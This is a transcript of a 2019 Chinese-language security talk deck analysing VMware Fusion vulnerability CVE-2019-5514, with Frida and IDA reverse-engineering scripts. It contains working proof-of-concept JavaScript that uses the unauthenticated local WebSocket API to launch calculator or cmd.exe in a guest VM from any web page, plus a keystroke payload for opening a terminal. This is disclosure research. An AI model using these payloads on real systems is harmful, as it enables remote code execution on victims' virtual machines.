Lock in $30 Savings on PRO—Offer Ends Soon! ⏳

Bifröst 揭秘:VMware Fusion REST API 漏洞分析

cc
December 02, 2019

Bifröst 揭秘:VMware Fusion REST API 漏洞分析

虚拟化软件最常见的攻击面是客户机逃逸,但年初发现的一个有趣的 VMware Fusion 漏洞 CVE-2019-5514 却打破了这种刻板印象。通过物理机浏览恶意网页,可以稳定地在客户机内执行任意代码。通过逆向分析这个看似 Web 安全的问题,能让听众进一步了解这款桌面虚拟化软件的架构设计以及客户机的通信后门机制。

cc

December 02, 2019
Tweet

More Decks by cc

Other Decks in Programming

Transcript

  1. 技 / 术 / 论 / 坛 Bifröst 揭秘:VMware Fusion

    REST API 漏洞分析 菜丝 蚂蚁金服光年实验室安全专家
  2. 关于 • @CodeColorist • 蚂蚁金服光年实验室安全专家 • 发现和利用不同平台具有独创性的逻辑漏洞 • 多个 Apple

    macOS / iOS,Microsoft / Adobe / VMware 等致谢 • BlackHat 2017, HITBAms 2019, TyphoonCon 2019 等会议演讲者
  3. CONTENTS {目录} 技 / 术 / 论 / 坛 •

    网络安全:从入门到放弃 “彩虹桥” 服务端逆向 01 02 进程间通信 客户机后门 03 04
  4. 桌面挂件 • 于 VMware Fusion 11.x 引入 • Electron •

    控制虚拟机 • 电源管理 • 快照管理 • 对于安装了 vmtools 的 Windows Guest,可以启动任意应用程序
  5. 服务端 API • 解包 /Applications/VMware Fusion.app/Contents/Library/VMwa re Fusion Applications Menu.app/Contents/Resources/app

    .asar • 包含 TypeScript 编译前原始代码 (src/) • 从 8698 开始扫描可用端口,启动 amsrv 服务端(src/index.ts) const execSync = require('child_process').execSync; let port = 8698; // The default port of vmrest is 8697 let portFound = false; while (!portFound) { let stdout = execSync('lsof -i :' + port + ' | wc -l'); if (parseInt(stdout) == 0) { portFound = true; } else { port++; } } // Let's store the chosen port to global global['port'] = port; const spawn = require('child_process').spawn; vmrest = spawn(path.join(__dirname, '../../../../../', 'amsrv'), ['-D’, '-p', port]);
  6. 服务端 API • src/services/api.service.ts 提示了服务端的用法 • 部分接口 • /api/internal/vms 所有可用虚拟机

    • /api/internal/vms/{id} 虚拟机信息 • /api/vms/{id}/ip 虚拟机 IP 地址 • /ws 更复杂的 API
  7. 协议 ➜ ~ sudo tcpview | grep VMware tcp 127.0.0.1:8698

    18385 '/Applications/VMware Fusion.app/Contents/Library/amsrv' -D -p 8698 VMware Fusion Applications Menu.app amsrv rest of VMware Fusion WebSocket IPC
  8. 漏洞 • HTTP 接口(/API/*)开启了任意 CORS • WebSocket 协议默认支持跨域 • 除了本地的

    Electron 之外,任意 Web 浏览器均可访问此接口 • “摇晃的天国道路”
  9. 弹计算器 • 重放来自应用的报文 { "name": "menu.onAction", "object": "56 4d c8

    e7 bf 10 ab 10-98 6e 73 e5 2e 5a 98 a5", "userInfo": { "action": "launchGuestApp:", "vmUUID": "56 4d c8 e7 bf 10 ab 10-98 6e 73 e5 2e 5a 98 a5", "representedObject": "x-vmware-metroapp- execpath:///Microsoft.WindowsCalculator_8wekyb3d8bbwe!App" } }
  10. PoC const ws = new WebSocket(`ws://127.0.0.1:8698/ws`) ws.onopen = () =>

    { ws.send(JSON.stringify({ name: 'menu.onAction', object: '11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00', userInfo: { action: 'launchGuestApp:', vmUUID: '11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00', representedObject: 'calculator:' } })) } ws.onmessage = msg => { console.log(JSON.parse(msg.data)) ws.close() } • 任意网页
  11. vmUUID? • launchGuestApp 方法需要 vmUUID • vmUUID 和 /api/internal/vms 下获取的

    id 不是同一个 • Electron 端获取逻辑 • /api/internal/vms 获取 vm id 和属性文件 path(plist) • 直接解析 plist 获取 UUID • Exploit 无法读取本机 plist 文件
  12. Unauthenticated RCE • VM 列表接口获得的排序是稳定的 • WebSocket 接口的 menu.selectIndex 操作用以选定特定的

    index虚拟机 • 传入 vms 中对应的 index 即可不用 vmUUID 指定虚拟机 this.send({ name: 'menu.selectIndex', userInfo: { selectedIndex: index } }); const payload = { name: 'menu.onAction', userInfo: { action: 'launchGuestApp:', selectedIndex: i, representedObject: 'cmd.exe' } };
  13. 服务端 • vmsrv 只是一个 WatchDog,实际可执行文件为 vmrest $ redress -method -pkg

    -src -struct amsrv Packages: main watchDog Package main: /build/mts/release/bora- 10952296/bora/apps/vmrest/src/amsrv File: <autogenerated> init Lines: 1 to 1 (0) File: amsrv.go init0 Lines: 44 to 64 (20) main Lines: 64 to 106 (42) mainfunc1 Lines: 106 to 112 (6) Package watchDog: /build/mts/release/bora- 10952296/bora/apps/vmrest/src/watchDog File: <autogenerated> init Lines: 1 to 92 (91) File: watchDog.go (*Watchdog)Start Lines: 78 to 135 (57) (*Watchdog).Startfunc1 Lines: 85 to 115 (30) (*Watchdog).Start.func11 Lines: 86 to 88 (2) (*Watchdog)Stop Lines: 135 to 139 (4)
  14. 服务端分析 • Use the VMware Workstation Pro REST API Service

    https://docs.vmware.com/en/VMware-Workstation- Pro/15.0/com.vmware.ws.using.doc/GUID-C3361DF5-A4C1-432E-850C- 8F60D83E5E2B.html • 前文分析与文档行为有出入 ➜ Library ./vmrest -h VMware Fusion REST API Copyright (C) 2015-2018 VMware Inc. All Rights Reserved vmrest 1.2.0 build-10952296 Usage of ./vmrest: -D, --Daemon Internal usage -c, --cert-path <cert-path> REST API Server certificate path
  15. vmrest • 多语言混合编程 • Golang • C (open-vm-tools) • Objective-C

    • Golang • 恢复符号 • (部分)修复字符串 • 分析工具 • https://go-re.tk/gore/ • https://github.com/goretk/redress • https://github.com/strazzere/golang_loader_assist • class-dump
  16. vmrest ➜ vmfusion redress -vendor -pkg vmrest Packages: main rest

    Vendors: github.com/gorilla/context github.com/gorilla/mux github.com/gorilla/websocket github.com/ogier/pflag Web 框架分析 • gorilla/mux • gorilla/websocket
  17. 后端 • main_registerAppMenuWebServerHandler • 注册 internal 服务路由,用于 Electron 内部使用 •

    需要使用 -D 参数启动 • 没有任何认证 • 除前文解包 Electron 应用后的四个 URL 路由,没有实现其他的功能
  18. 后端 • main_registerApiWebServerHandler • 支持官方文档中所有功能,包括共享文件夹等复杂控制 • 默认(不带 -D 参数)模式 •

    使用 rest__RestServer_BasicAuth 中间件函数,需要认证 ➜ vmfusion redress -method -pkg -src vmrest (*RestServer)GetVmSharedFoldersHandler Lines: 119 to 191 (72) (*RestServer)CreateVmSharedFolderHandler Lines: 191 to 371 (180) (*RestServer).CreateVmSharedFolderHandlerfunc1 Lines: 272 to 273 (1) (*RestServer)DeleteVmSharedFolderHandler Lines: 371 to 472 (101) (*RestServer)UpdateVmSharedFolderHandler Lines: 472 to 480 (8)
  19. The Big Picture VMware Fusion Applications Menu.app VMware Fusion (UIBroker)

    vmrest WebSocket CFMessagePort NSDistributedNo tification vmware-vmx Guest VM 1 vmware-vmx Guest VM 2 vmware-vmx Guest VM 3
  20. IPC VMIPCServer postMessage:synchronously: VMIPCClient VM_IPC_SendMessageToNamedPort • 基于 macOS 的 CFMessagePort

    • CFMessagePortCreateRemote • CFMessagePortSendRequest • Port 名为当前 Application 的 bundle id (com.vmware.fusion) • 消息序列化基于 CoreFoundation 的 NSPropertyListSerialization
  21. 分析 CFMessagePort • 使用 frida.re 分析通信格式 const kCFStringEncodingUTF8 = 0x08000100;

    const CFStringGetCStringPtr = new NativeFunction(Module.findExportByName(null, 'CFStringGetCStringPtr'), 'pointer', ['pointer', 'uint32']); const NSPropertyListImmutable = 0; Interceptor.attach(Module.findExportByName(null, 'CFMessagePortCreateRemote'), { onEnter: function (args) { console.log('port:') console.log(Memory.readUtf8String(CFStringGetCStringPtr(args[1], kCFStringEncodingUTF8))) } }) Interceptor.attach(Module.findExportByName(null, 'CFMessagePortSendRequest'), { onEnter: function (args) { console.log('msg:'); const data = new ObjC.Object(args[2]); console.log(data); const format = Memory.alloc(Process.pointerSize); const err = Memory.alloc(Process.pointerSize); const dict = ObjC.classes.NSPropertyListSerialization.propertyListFromData_mutabilityOption_format_errorDescription_(data, NSPropertyListImmutable, format, err); console.log(dict); dict.release(); } })
  22. 分析 CFMessagePort [Local::PID::54376]-> port: com.vmware.fusion msg: <62706c69 73743030 d4010203 04050610

    115b7379 6e636872 6f6e6f75 73576d65 73736167 6559636c 69656e74 4b657959 6d657373 61676549 4408d307 08090a0b 0c546e61 6d65566f 626a6563 74587573 6572496e 666f5c6d 656e752e 72656672 6573685f 102f3536 20346420 63382065 37206266 20313020 61622031 302d3938 20366520 37332065 35203265 20356120 39382061 35d20d0e 0f0b5d73 656c6563 74656449 6e646578 56766d55 55494410 0211d468 10170811 1d252f39 3a41464d 5663959a a8afb1b4 00000000 00000101 00000000 00000012 00000000 00000000 00000000 000000b6> { clientKey = 54376; message = { name = "menu.refresh"; object = "56 4d c8 e7 bf 10 ab 10-98 6e 73 e5 2e 5a 98 a5"; userInfo = { selectedIndex = 2; vmUUID = "56 4d c8 e7 bf 10 ab 10-98 6e 73 e5 2e 5a 98 a5"; }; }; messageID = 23; synchronous = 0; } 几乎原样转发 WebSocket 报文
  23. IPC 接收端 • 消息处理函数注册在一个 VMIPCCommon 对象实例 • observerTable 属性是一个 NSDictionary

    对象 • key:NSConcreteValue 包裹的对象指针,指向 handler 类实例 • value:VMIPCObserverEntry 对象 • name 对应 WebSocket 协议 name 字段 • selector 指定消息响应方法 • -[VMIPCCommon dispatchMessageToLocalListeners:] 派遣消息到具体方法
  24. 消息例程 const common = ObjC.chooseSync(ObjC.classes.VMIPCCommon)[0] const dict = common.observerTable(); const

    enumerator = dict.keyEnumerator(); var key; var p = Memory.alloc(Process.pointerSize); while ((key = enumerator.nextObject()) !== null) { p.writePointer(NULL); key.getValue_(p); console.log('target:', new ObjC.Object(p.readPointer())); console.log('methods:'); const array = dict.objectForKey_(key); const count = array.count(); for (var i = 0; i < count; i++) { const entry = array.objectAtIndex_(i); console.log(' ', ObjC.selectorAsString(entry.selector()), entry.name()) } } target: <PLVMStartMenuProxy: 0x6000015a1270> methods: • onMenuAction: menu.onAction • onRefreshMenus: menu.refresh • onShowMenuSettings: menu.settings • onSelectIndex: menu.selectIndex • onMenuDidClose: menu.didClose • DUIDockerControllerProxy • VMIPCServer • DUIDockerDnDProxy • PLVMStartMenuProxy • DUIDockerAppProxy
  25. 菜单操作 • DUIVMActionController 实现虚拟机控制的菜单 • 除 launchGuestApp 之外还有许多其他操作 • 使用

    -[PLVMActionController enabledStateForAction:from:] 校验 selector 参数 @interface DUIVMActionController : DUIActionController <DUISettingsCDROMOpenPanelDelegate> - (void)togglePause:(id)arg1; - (void)installVirtualPrinter:(id)arg1; - (void)toggleToolsInstall:(id)arg1; - (void)onSendKey:(id)arg1; - (void)sendCtrlAltDel:(id)arg1; ...
  26. vmUUID 和 selectedIndex • 一开始 poc 提到的 WebSocket 报文格式 •

    -[PLVMStartMenuManager nodeFromInfo:] • UUID 最后还是会转成 index
  27. IPC Windows Guest macOS Host vmware-vmx VMware Fusion vmtoolsd.exe RPCI

    TCLO vmdb libvmwareui!cui::* hgfs plugin unity plugin ... RPCI 是传统的客户机逃逸攻击对象,但我们这次利用的漏洞确是反其道行之的 TCLO 通道
  28. VMDB • 类似 key-value 的“数据库” • Redux for VMware •

    VMware Hypervisor 进程和 vmx 进程通信的基础 • 使用树状的 key 描述一个路径 • 例如:vmx/vigor/fields/Audio/ • 还支持类似 SQL 的查询方式 • 可通过 Vmdb_RegisterCallback 监视特定 key 的变更
  29. TCLO • open-vm-tools/open-vm-tools/lib/rpcIn/rpcin.c • 同 RPCI,仍然是基于 Backdoor • RpcInOpenChannel •

    Message_Open('TCLO') • Message_OpenAllocated • Backdoor • Channel magic 为 0x4f4c4354 (‘TCLO’),而 RPCI 是 0x49435052 • 基于 glib 的 event loop 轮询和分发消息 • 函数 RpcChannel_RegisterCallback 针对不同的命令注册回调
  30. MAPPING = { 'g_log': 'r9', 'Debug': 'rdx', 'Warning': 'rdx', 'Log':

    'rdx', } for name, reg in MAPPING.items(): for xref in XrefsTo(ida_name.get_name_ea(BADADDR, name), 0): if not xref.iscode: continue ea = xref.frm old_name = idc.get_func_name(ea) if old_name and not old_name.startswith('sub_'): continue start = idc.get_func_attr(ea, FUNCATTR_START) curr = ea while curr > start: # lea r9, [xxx] if idc.print_insn_mnem(curr) == 'lea' and ida_idp.get_reg_name(id c.get_operand_value(curr, 0), 8) == reg: p = idc.get_operand_value(curr, 1) if not p: break symbol = idc.get_strlit_contents(p) if symbol: ida_name.set_name(start, sanitize(symbol)) break curr = idc.prev_head(curr) 还原符号
  31. GHIPlatformShellCommandRun • 不是简单传入 ShellExecute,解析了一些特定命令 • x-vmware-share:// 在客户机中打开 HGFS 共享目录 •

    x-vmware-menuitem:///{computer,documents,network,control- panel,printers,search,run,}模拟“开始菜单”的特殊 URL • 当命令中含有“.”字符时,才会将命令带 argv 的形式传给子进程 • cmd /c calc ❌ • cmd.exe /k calc ✔
  32. 非 Windows 客户机 • 非 Windows 客户机不支持 launchGuestApp • 已于

    2008 年移除 Linux 客户机的 UNITY_RPC_SHELL_OPEN 等功能 https://github.com/vmware/open-vm- tools/commit/b0ef27f773c3af4b6b9c38600d9acbbc73ac6838 • 仍有部分功能被支持 • onSendKey: • sendCtrlAltDel: • 发送按键序列打开 terminal const keys = [ 0x15b, // WinKey 0x014, // T 0x012, // E 0x013, // R 0x032, // M // 0x017, // I // 0x031, // N // 0x01e, // A // 0x026, // L 0x01c, // Enter 0x017, // I 0x020, // D 0x01c, // Enter ]
  33. 小结 • 内容 • VMware 在主流安全研究视角之外的问题 • Electron (node.js) +

    Golang + Objective-C 混合编程的逆向工程 • 简单介绍 vmdb,TCLO 等内部机制 • 结论 • Web 技术在桌面端的应用将引入更大的攻击面 • 有时看似简单的漏洞利用可能牵涉到大量的分析工作
  34. 参考资料 • For the Greater Good: Leveraging VMware's RPC Interface

    for fun and profit https://2017.zeronights.org/report/greater-good-leveraging-vmwares-rpc- interface-fun-profit/ • Dissection de l'hyperviseur Vmware https://www.sstic.org/media/SSTIC2019/SSTIC- actes/dissection_de_lhyperviseur_vmware/SSTIC2019-Slides- dissection_de_lhyperviseur_vmware-lhelgouarch_PfnJsxX.pdf • VMware technical Papers https://www.vmware.com/techpapers.html • 利用一个堆溢出漏洞实现 VMware 虚拟机逃逸 https://zhuanlan.zhihu.com/p/27733895 • VMware Fusion 11 - Guest VM RCE - CVE-2019-5514 https://theevilbit.github.io/posts/vmware_fusion_11_guest_vm_rce_cve-2019-5514/